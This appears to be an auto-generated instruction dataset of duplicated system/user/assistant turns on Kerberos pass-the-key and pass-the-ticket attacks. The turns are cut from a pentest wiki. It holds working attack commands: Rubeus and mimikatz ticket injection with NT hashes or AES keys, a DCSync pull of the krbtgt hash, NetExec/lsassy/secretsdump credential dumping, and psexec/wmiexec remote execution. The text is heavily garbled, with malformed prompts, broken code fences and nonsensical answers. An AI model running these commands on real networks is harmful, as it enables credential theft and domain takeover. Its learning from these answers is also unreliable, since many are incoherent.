[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of with an AES (128 or 256 bits) key (pass-the-key)

[Assistant]
getTGT.py -aesKey 'KerberosKey' $DOMAIN/$USER@$TARGET
``

Once a TGT is obtained, the tester can use it with the environment variable KRB5CCNAME with tools implementing pass-the-ticket.

An alternative to requesting the TGT and then passing the ticket is using the -k option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.

`bash
secretsdump.py -k -hashes 'LMhash:NThash' $DOMAIN/$USER@$TARGET
`

=== Windows

On Windows, requesting a TGT can be achieved with Rubeus (C#). The ticket will be injected in the session and Windows will natively be able to use these tickets to access given services.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of with an AES (128 or 256 bits) key (pass-the-key)

Response:
getTGT.py -aesKey 'KerberosKey' $DOMAIN/$USER@$TARGET
``

Once a TGT is obtained, the tester can use it with the environment variable KRB5CCNAME with tools implementing pass-the-ticket.

An alternative to requesting the TGT and then passing the ticket is using the -k option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.

`bash
secretsdump.py -k -hashes 'LMhash:NThash' $DOMAIN/$USER@$TARGET
`

=== Windows

On Windows, requesting a TGT can be achieved with Rubeus (C#). The ticket will be injected in the session and Windows will natively be able to use these tickets to access given services.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute with an AES (128 or 256 bits) key (pass-the-key)?

[Assistant]
getTGT.py -aesKey 'KerberosKey' $DOMAIN/$USER@$TARGET
``

Once a TGT is obtained, the tester can use it with the environment variable KRB5CCNAME with tools implementing pass-the-ticket.

An alternative to requesting the TGT and then passing the ticket is using the -k option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.

`bash
secretsdump.py -k -hashes 'LMhash:NThash' $DOMAIN/$USER@$TARGET
`

=== Windows

On Windows, requesting a TGT can be achieved with Rubeus (C#). The ticket will be injected in the session and Windows will natively be able to use these tickets to access given services.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How to execute with an AES (128 or 256 bits) key (pass-the-key)?

Response:
getTGT.py -aesKey 'KerberosKey' $DOMAIN/$USER@$TARGET
``

Once a TGT is obtained, the tester can use it with the environment variable KRB5CCNAME with tools implementing pass-the-ticket.

An alternative to requesting the TGT and then passing the ticket is using the -k option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.

`bash
secretsdump.py -k -hashes 'LMhash:NThash' $DOMAIN/$USER@$TARGET
`

=== Windows

On Windows, requesting a TGT can be achieved with Rubeus (C#). The ticket will be injected in the session and Windows will natively be able to use these tickets to access given services.

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] Give me the Once command to with an aes (128 or 256 bits) key (pass-the-key)

[Assistant]
Once a TGT is obtained, the tester can use it with the environment variable `KRB5CCNAME` with tools implementing [pass-the-ticket](ptt.md).

An alternative to requesting the TGT and then passing the ticket is using the `-k` option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

Give me the Once command to with an aes (128 or 256 bits) key (pass-the-key)

Response:
Once a TGT is obtained, the tester can use it with the environment variable `KRB5CCNAME` with tools implementing [pass-the-ticket](ptt.md).

An alternative to requesting the TGT and then passing the ticket is using the `-k` option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out with an AES (128 or 256 bits) key (pass-the-key) during a pentest?

[Assistant]
Once a TGT is obtained, the tester can use it with the environment variable `KRB5CCNAME` with tools implementing [pass-the-ticket](ptt.md).

An alternative to requesting the TGT and then passing the ticket is using the `-k` option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out with an AES (128 or 256 bits) key (pass-the-key) during a pentest?

Response:
Once a TGT is obtained, the tester can use it with the environment variable `KRB5CCNAME` with tools implementing [pass-the-ticket](ptt.md).

An alternative to requesting the TGT and then passing the ticket is using the `-k` option in Impacket scripts. Using that option allows for passing either TGTs or STs. Example below with secretsdump.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `Once a TGT is obtained, the tester can use it with the environment variable `KRB5CCNAME` with tools implementing [pass-the-ticket](ptt.md).`?

[Assistant] This command is used for with an aes (128 or 256 bits) key (pass-the-key). with an AES (128 or 256 bits) key (pass-the-key)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `Once a TGT is obtained, the tester can use it with the environment variable `KRB5CCNAME` with tools implementing [pass-the-ticket](ptt.md).`?

Response: This command is used for with an aes (128 or 256 bits) key (pass-the-key). with an AES (128 or 256 bits) key (pass-the-key)


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How to execute with an AES (128 or 256 bits) key (pass-the-key)?

[Assistant]
=== Windows

On Windows, requesting a TGT can be achieved with [Rubeus](https://github.com/GhostPack/Rubeus) (C#). The ticket will be injected in the session and Windows will natively be able to use these tickets to access given services.

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
=== Windows

On Windows, requesting a TGT can be achieved with [Rubeus](https://github.com/GhostPack/Rubeus) (C#). The ticket will be injected in the session and Windows will natively be able to use these tickets to access given services.


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `=== Windows`?

[Assistant] This command is used for with an aes (128 or 256 bits) key (pass-the-key). with an AES (128 or 256 bits) key (pass-the-key)

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `=== Windows`?

Response: This command is used for with an aes (128 or 256 bits) key (pass-the-key). with an AES (128 or 256 bits) key (pass-the-key)


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about with an NT hash

[Assistant] Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /rc4:$NThash /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /rc4:$NThash /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with an NT hash

[Assistant] Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /rc4:$NThash /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for with an NT hash

Response: Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /rc4:$NThash /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of with an AES 128 key

[Assistant] Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes128:$aes128_key /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of with an AES 128 key

Response: Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes128:$aes128_key /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out with an AES 128 key during a pentest?

[Assistant] Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes128:$aes128_key /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out with an AES 128 key during a pentest?

Response: Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes128:$aes128_key /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about with an AES 256 key

[Assistant]
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes256:$aes256_key /ptt
``

An alternative to Rubeus is mimikatz with sekurlsa::pth.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes256:$aes256_key /ptt
``

An alternative to Rubeus is mimikatz with sekurlsa::pth.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on with an AES 256 key

[Assistant]
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes256:$aes256_key /ptt
``

An alternative to Rubeus is mimikatz with sekurlsa::pth.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response:
Rubeus.exe asktgt /domain:$DOMAIN /user:$USER /aes256:$aes256_key /ptt
``

An alternative to Rubeus is mimikatz with sekurlsa::pth.

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use An for with an aes 256 key?

[Assistant] An alternative to Rubeus is [mimikatz](https://github.com/gentilkiwi/mimikatz) with [`sekurlsa::pth`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/pth).

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use An for with an aes 256 key?

Response: An alternative to Rubeus is [mimikatz](https://github.com/gentilkiwi/mimikatz) with [`sekurlsa::pth`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/pth).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with an AES 256 key

[Assistant] An alternative to Rubeus is [mimikatz](https://github.com/gentilkiwi/mimikatz) with [`sekurlsa::pth`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/pth).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for with an AES 256 key

Response: An alternative to Rubeus is [mimikatz](https://github.com/gentilkiwi/mimikatz) with [`sekurlsa::pth`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/pth).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `An alternative to Rubeus is [mimikatz](https://github.com/gentilkiwi/mimikatz) with [`sekurlsa::pth`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/pth).`?

[Assistant] This command is used for with an aes 256 key. with an AES 256 key

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `An alternative to Rubeus is [mimikatz](https://github.com/gentilkiwi/mimikatz) with [`sekurlsa::pth`](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/pth).`?

Response: This command is used for with an aes 256 key. with an AES 256 key


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Tell me about with an NT hash

[Assistant] sekurlsa::pth /user:$USER /domain:$DOMAIN /rc4:$NThash /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response: sekurlsa::pth /user:$USER /domain:$DOMAIN /rc4:$NThash /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for with an NT hash

[Assistant] sekurlsa::pth /user:$USER /domain:$DOMAIN /rc4:$NThash /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: sekurlsa::pth /user:$USER /domain:$DOMAIN /rc4:$NThash /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe with an AES 128 key in the context of penetration testing

[Assistant] sekurlsa::pth /user:$USER /domain:$DOMAIN /aes128:$aes128_key /ptt

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe with an AES 128 key in the context of penetration testing

Response: sekurlsa::pth /user:$USER /domain:$DOMAIN /aes128:$aes128_key /ptt


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Show me how to do with an AES 128 key

[Assistant] sekurlsa::pth /user:$USER /domain:$DOMAIN /aes128:$aes128_key /ptt

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Response: sekurlsa::pth /user:$USER /domain:$DOMAIN /aes128:$aes128_key /ptt


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] How does with an AES 256 key work?

[Assistant]
sekurlsa::pth /user:$USER /domain:$DOMAIN /aes256:$aes256_key /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
sekurlsa::pth /user:$USER /domain:$DOMAIN /aes256:$aes256_key /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for with an AES 256 key?

[Assistant]
sekurlsa::pth /user:$USER /domain:$DOMAIN /aes256:$aes256_key /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for with an AES 256 key?

Response:
sekurlsa::pth /user:$USER /domain:$DOMAIN /aes256:$aes256_key /ptt
``

For both mimikatz and Rubeus, the /ptt` flag is used to automatically inject the ticket.

:::


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Describe Pass the ticket - Theory in the context of penetration testing

[Assistant] There are ways to come across (cached Kerberos tickets) or forge (overpass the hash, silver ticket and golden ticket attacks) Kerberos tickets. A ticket can then be used to authenticate to a system using Kerberos without knowing any password. This is called Pass the ticket. Another name for this is Pass the Cache (when using tickets from, or found on, UNIX-like systems).

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Describe Pass the ticket - Theory in the context of penetration testing

Response: There are ways to come across (cached Kerberos tickets) or forge (overpass the hash, silver ticket and golden ticket attacks) Kerberos tickets. A ticket can then be used to authenticate to a system using Kerberos without knowing any password. This is called Pass the ticket. Another name for this is Pass the Cache (when using tickets from, or found on, UNIX-like systems).


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] How would I carry out Pass the ticket - Theory during a pentest?

[Assistant] There are ways to come across (cached Kerberos tickets) or forge (overpass the hash, silver ticket and golden ticket attacks) Kerberos tickets. A ticket can then be used to authenticate to a system using Kerberos without knowing any password. This is called Pass the ticket. Another name for this is Pass the Cache (when using tickets from, or found on, UNIX-like systems).

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

How would I carry out Pass the ticket - Theory during a pentest?

Response: There are ways to come across (cached Kerberos tickets) or forge (overpass the hash, silver ticket and golden ticket attacks) Kerberos tickets. A ticket can then be used to authenticate to a system using Kerberos without knowing any password. This is called Pass the ticket. Another name for this is Pass the Cache (when using tickets from, or found on, UNIX-like systems).


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is Pass the ticket - Practice?

[Assistant]
> [!TIP] convert tickets UNIX <-> Windows
> Using ticketConverter.py (from the Impacket suite, written in Python).
>
> ``bash
> # Windows -> UNIX
> ticketConverter.py $ticket.kirbi $ticket.ccache
>
> # UNIX -> Windows
> ticketConverter.py $ticket.ccache $ticket.kirbi
> ``

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
> [!TIP] convert tickets UNIX <-> Windows
> Using ticketConverter.py (from the Impacket suite, written in Python).
>
> ``bash
> # Windows -> UNIX
> ticketConverter.py $ticket.kirbi $ticket.ccache
>
> # UNIX -> Windows
> ticketConverter.py $ticket.ccache $ticket.kirbi
> ``


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the ticket - Practice

[Assistant]
> [!TIP] convert tickets UNIX <-> Windows
> Using ticketConverter.py (from the Impacket suite, written in Python).
>
> ``bash
> # Windows -> UNIX
> ticketConverter.py $ticket.kirbi $ticket.ccache
>
> # UNIX -> Windows
> ticketConverter.py $ticket.ccache $ticket.kirbi
> ``

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Pass the ticket - Practice

Response:
> [!TIP] convert tickets UNIX <-> Windows
> Using ticketConverter.py (from the Impacket suite, written in Python).
>
> ``bash
> # Windows -> UNIX
> ticketConverter.py $ticket.kirbi $ticket.ccache
>
> # UNIX -> Windows
> ticketConverter.py $ticket.ccache $ticket.kirbi
> ``


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] Give me an overview of Pass the ticket - Injecting the ticket

[Assistant]
* On Windows systems, tools like Mimikatz and Rubeus inject the ticket in memory. Native Microsoft tools can then use the ticket just like usual.
* On UNIX-like systems, the path to the .ccache ticket to use has to be referenced in the environment variable KRB5CCNAME

::: tabs

=== UNIX-like

Once a ticket is obtained/created, it needs to be referenced in the KRB5CCNAME environment variable for it to be used by others tools.

``bash
export KRB5CCNAME=$path_to_ticket.ccache
`

=== Windows

The most simple way of injecting the ticket is to supply the /ptt flag directly to the command used to request/create a ticket. Both mimikatz and Rubeus accept this flag.

This can also be done manually with mimikatz using kerberos::ptt or Rubeus.

``powershell

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Give me an overview of Pass the ticket - Injecting the ticket

Response:
* On Windows systems, tools like Mimikatz and Rubeus inject the ticket in memory. Native Microsoft tools can then use the ticket just like usual.
* On UNIX-like systems, the path to the .ccache ticket to use has to be referenced in the environment variable KRB5CCNAME

::: tabs

=== UNIX-like

Once a ticket is obtained/created, it needs to be referenced in the KRB5CCNAME environment variable for it to be used by others tools.

``bash
export KRB5CCNAME=$path_to_ticket.ccache
`

=== Windows

The most simple way of injecting the ticket is to supply the /ptt flag directly to the command used to request/create a ticket. Both mimikatz and Rubeus accept this flag.

This can also be done manually with mimikatz using kerberos::ptt or Rubeus.

``powershell


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Walk me through Pass the ticket - Injecting the ticket

[Assistant]
* On Windows systems, tools like Mimikatz and Rubeus inject the ticket in memory. Native Microsoft tools can then use the ticket just like usual.
* On UNIX-like systems, the path to the .ccache ticket to use has to be referenced in the environment variable KRB5CCNAME

::: tabs

=== UNIX-like

Once a ticket is obtained/created, it needs to be referenced in the KRB5CCNAME environment variable for it to be used by others tools.

``bash
export KRB5CCNAME=$path_to_ticket.ccache
`

=== Windows

The most simple way of injecting the ticket is to supply the /ptt flag directly to the command used to request/create a ticket. Both mimikatz and Rubeus accept this flag.

This can also be done manually with mimikatz using kerberos::ptt or Rubeus.

``powershell

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Walk me through Pass the ticket - Injecting the ticket

Response:
* On Windows systems, tools like Mimikatz and Rubeus inject the ticket in memory. Native Microsoft tools can then use the ticket just like usual.
* On UNIX-like systems, the path to the .ccache ticket to use has to be referenced in the environment variable KRB5CCNAME

::: tabs

=== UNIX-like

Once a ticket is obtained/created, it needs to be referenced in the KRB5CCNAME environment variable for it to be used by others tools.

``bash
export KRB5CCNAME=$path_to_ticket.ccache
`

=== Windows

The most simple way of injecting the ticket is to supply the /ptt flag directly to the command used to request/create a ticket. Both mimikatz and Rubeus accept this flag.

This can also be done manually with mimikatz using kerberos::ptt or Rubeus.

``powershell


[System] You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

[User] How do I use export for pass the ticket - injecting the ticket?

[Assistant] export KRB5CCNAME=$path_to_ticket.ccache

System: You are a penetration testing tool expert. Provide the exact command or sequence of commands to accomplish the task, including required flags and arguments. Format multi-step operations as numbered steps.

How do I use export for pass the ticket - injecting the ticket?

Response: export KRB5CCNAME=$path_to_ticket.ccache


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Give me a guide on Pass the ticket - Injecting the ticket

[Assistant] export KRB5CCNAME=$path_to_ticket.ccache

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Give me a guide on Pass the ticket - Injecting the ticket

Response: export KRB5CCNAME=$path_to_ticket.ccache


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: `export KRB5CCNAME=$path_to_ticket.ccache`?

[Assistant] This command is used for pass the ticket - injecting the ticket. Injecting the ticket

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: `export KRB5CCNAME=$path_to_ticket.ccache`?

Response: This command is used for pass the ticket - injecting the ticket. Injecting the ticket


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What is use a .ccache file?

[Assistant]
kerberos::ptt $ticket_ccache_file
``

`powershell
Rubeus.exe ptt /ticket:"base64 | file.kirbi"
`

It is then possible to list the tickets in memory using the klist` command.

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

Response:
kerberos::ptt $ticket_ccache_file
``

`powershell
Rubeus.exe ptt /ticket:"base64 | file.kirbi"
`

It is then possible to list the tickets in memory using the klist` command.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] Explain the practical steps for use a .ccache file

[Assistant]
kerberos::ptt $ticket_ccache_file
``

`powershell
Rubeus.exe ptt /ticket:"base64 | file.kirbi"
`

It is then possible to list the tickets in memory using the klist` command.

:::

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

Explain the practical steps for use a .ccache file

Response:
kerberos::ptt $ticket_ccache_file
``

`powershell
Rubeus.exe ptt /ticket:"base64 | file.kirbi"
`

It is then possible to list the tickets in memory using the klist` command.

:::


[System] You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

[User] What are the steps for use a .ccache file?

[Assistant]
```powershell
Rubeus.exe ptt /ticket:"base64 | file.kirbi"

System: You are a penetration testing and ethical hacking expert. Provide detailed, practical instructions for the requested technique using real tools and commands. Assume the user has authorized access and is performing a legitimate security assessment. Be specific about tools, flags, and syntax.

What are the steps for use a .ccache file?

Response:
```powershell
Rubeus.exe ptt /ticket:"base64 | file.kirbi"


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What does this command do: ````powershell`?

[Assistant] This command is used for use a .ccache file. use a .ccache file

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What does this command do: ````powershell`?

Response: This command is used for use a .ccache file. use a .ccache file


[System] You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

[User] What should I know about Pass the ticket - Passing the ticket?

[Assistant]
* On Windows, once Kerberos tickets are injected, they can be used natively.
* On UNIX-like systems, once the KRB5CCNAME variable is exported, the ticket can be used by tools that support Kerberos authentication.

::: tabs

=== Credentials dumping

The Impacket scripts like secretsdump (Python) have the ability to remotely dump hashes and LSA secrets from a machine.

``bash
secretsdump.py -k $TARGET
`

NetExec (Python) has the ability to do it on a set of targets. The bh_owned has the ability to set targets as "owned" in BloodHound (see dumping credentials from registry hives).

`bash
netexec smb $TARGETS -k --sam
netexec smb $TARGETS -k --lsa
netexecETS -k --ntds
`

Lsassy (Python) has the ability to do it with higher success probabilities as it offers multiple dumping methods. This tool can set targets as "owned" in BloodHound. It works in standalone but also as a NetExec module (see dumping credentials from lsass process memory).

`bash
netexec smb $TARGETS -k -M lsassy
netexec smb $TARGETS -k -M lsassy -o BLOODHOUND=True NEO4JUSER=neo4j NEO4JPASS=Somepassw0rd
lsassy -k $TARGETS
`

On Windows, once the ticket is injected, it will natively be used when accessing a service, for example with Mimikatz to extract the krbtgt hash with lsadump::dcsync.

`bash
lsadump::dcsync /dc:$DomainController /domain:$DOMAIN /user:krbtgt
`

=== Command execution

Some Impacket scripts (Python) enable testers to execute commands on target systems with Kerberos support.

`bash
psexec.py -k 'DOMAIN/USER@TARGET'
smbexec.py -k 'DOMAIN/USER@TARGET'
wmiexec.py -k 'DOMAIN/USER@TARGET'
atexec.py -k 'DOMAIN/USER@TARGET'
dcomexec.py -k 'DOMAIN/USER@TARGET'
`

NetExec (Python) has the ability to do it on a set of targets

`bash
netexec winrm $TARGETS -k -x whoami
netexec smb $TARGETS -k -x whoami
`

On Windows, legitimate tools like the sysinternals PsExec (download) can then be used to open a cmd using that ticket.

`powershell
.\PsExec.exe -accepteula \\$TARGET cmd
``

:::

System: You are a cybersecurity educator. Explain the requested concept, attack technique, or defense mechanism clearly and thoroughly, covering how it works, why it matters, and what tools or conditions are involved.

What should I know about Pass the ticket - Passing the ticket?

Response:
* On Windows, once Kerberos tickets are injected, they can be used natively.
